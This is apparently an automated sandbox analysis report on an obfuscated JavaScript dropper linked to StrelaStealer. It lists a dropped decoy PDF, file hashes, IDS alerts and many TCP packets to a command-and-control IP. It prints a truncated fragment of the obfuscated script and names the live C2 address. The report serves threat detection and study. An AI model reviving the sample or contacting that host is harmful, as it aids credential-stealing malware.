).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10213), with no line terminators
Entropy (8bit):	4.990743684394189
TrID:
File name:	106714464113327088.js
File size:	10'213 bytes
MD5:	87ccc3855a22aa1e743f6a4ae05f69bf
SHA1:	703beb89c0a4098264722831e50b5c0d9c2b3e0c
SHA256:	2b1896722cbf593dbd9c5561659ee8d9f3085f9d3eced0173be6918bb962ea3e
SHA512:	8b70564a4ca5be2a28d5dfa2dd5e0fca11954ab257c68163f3fa4d30cf9a08d1bc751785a114b42e18e19e8dc884bbdcbc31581a141a1b5a4206a1d49d9bd75f
SSDEEP:	192:OB2QmTqf/QmslMupKncFAfrjDS449X30eJFcqbSynetkrHLaStZdyReUwPoMemwv:eAlx9QteJFcqbSyn2idyReUwgnIO
TLSH:	662252CEF078EE610AF27CF26A0EA461B84C51F5857421A47D8D4FAA638DC11F9C5AF4
File Content Preview:	function gxilygcv(){this[unhtppg+yssnyql+isehc+rqhvna]("fbzasqf=[1031,3079,5127,4103,2055,3072];var fopekmcq=this[fqykrskcu+isehc+xkxlyn+ylulqjo+unhtppg+ddcbbkfey+wmpejk+mzsfo](this[rrhvh+ksugfdmlf+ogfmxg+xkxlyn+nxzouq+fqykrskcu+mzsfo][xkjykb+xkxlyn+unhtp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:45:02.267019+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-14T08:45:02.267019+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-14T08:45:04.394030+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:45:01.469194889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:01.474020958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:01.474090099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:01.480480909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:01.485301018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266691923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266767979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266803980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266838074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266872883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266902924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266936064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.266969919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.267004013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.267019033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.267019033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.267019033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.267019033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.267041922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.267081976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.271950960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.313237906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.313292027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.313328981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.313632965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.394917011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.394937038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.394953966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395040035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.395104885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395132065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395144939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.395148039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395164013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395179033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395185947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.395215034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.395956993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.395971060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396012068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.396080971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396146059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396169901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396182060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.396186113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396203995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396229982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.396961927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.396991968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.397003889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.397006989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.397023916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.397046089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.399477959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.399503946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.399523973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.440895081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.441765070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.441783905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.441800117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.441814899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.441963911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.481683016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.481720924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.481770992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.523504019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523523092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523575068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.523675919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523691893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523708105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523731947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.523888111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523925066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.523974895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.523991108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524008989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524022102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.524022102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524038076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524051905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524060011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.524085045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.524868965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524883986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524900913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524914980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524920940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.524933100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524945021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.524949074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.524976015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.525578976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525593996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525609970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525624037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525628090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.525644064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525657892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525661945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.525675058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.525697947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.526520014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526535034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526550055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526556015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.526565075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526580095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526587009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.526595116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526612043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.526616096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.526645899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.527471066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527486086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527501106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527514935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527524948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.527529955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527544975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527549982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.527560949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.527595043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.528260946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.528300047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.528426886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570569992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570616961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570652962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570691109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570728064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570782900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570811033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.570836067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.570836067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.570836067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.570939064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.610315084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.610411882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.610447884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.610483885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.610599995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.610599995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652245998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652265072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652282000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652422905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652591944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652616024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652636051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652669907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652687073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652702093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652714014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652741909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652858973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652887106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652903080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652919054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.652923107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.652956963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653100967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653146982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653162956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653182030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653389931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653403044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653419971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653433084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653459072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653460026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653474092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653489113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653512955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653779030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653795004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653820038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653822899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653834105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653851032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653851986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.653866053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.653887987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654316902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654331923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654346943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654361010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654361963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654376984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654382944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654392958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654407978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654416084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654452085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654721975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654738903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654773951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654822111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654836893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654853106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654867887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654874086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654884100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654901981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654906988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654926062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654937029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.654942989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654958963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654977083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.654980898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.655013084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.655910969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655925035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655940056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655953884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655963898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.655971050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655986071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.655998945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656002045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656016111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656024933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656032085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656047106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656054020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656061888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656078100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656101942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656128883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656838894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656861067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656877041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656891108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656897068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656907082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656922102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656934977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656936884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656951904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656964064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.656968117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656980991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.656991959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.657021999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.657423973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657507896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657522917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657537937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657545090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.657552958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657569885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657573938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.657604933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.657963991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657979012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.657994032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.658008099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.658015013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.658046961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.658236980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.658253908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.696949959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.696966887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.696990967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.697005987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.697021008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.697104931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.697104931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.699208975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699224949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699240923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699249983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.699256897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699273109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699275970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.699289083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.699309111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739063025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739084959 CET	80	49730	193.143.1.205	192.168.2.4
